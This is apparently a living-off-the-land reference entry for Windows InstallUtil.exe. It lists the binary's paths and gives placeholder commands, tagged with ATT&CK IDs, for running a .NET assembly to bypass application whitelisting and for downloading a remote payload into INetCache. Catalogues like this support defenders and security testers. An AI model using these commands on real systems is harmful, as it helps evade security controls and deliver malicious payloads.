Installutil.exe

type: OSBinaries
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Full path

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Commands

  1. AWL BypassUser T1218.004

    Use to execute code and bypass application whitelisting

    InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

    Execute the target .NET DLL or EXE.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL (.NET)Execute: EXE (.NET)

  2. ExecuteUser T1218.004

    Use to execute code and bypass application whitelisting

    InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

    Execute the target .NET DLL or EXE.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DLL (.NET)Execute: EXE (.NET)

  3. DownloadUser T1105

    Downloads payload from remote server

    InstallUtil.exe {REMOTEURL}

    It will download a remote payload and place it in INetCache.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Download: INetCache

Detection

Resources

acknowledgement: Casey Smith @subtee, Nir Chako (Pentera) @C_h4ck_0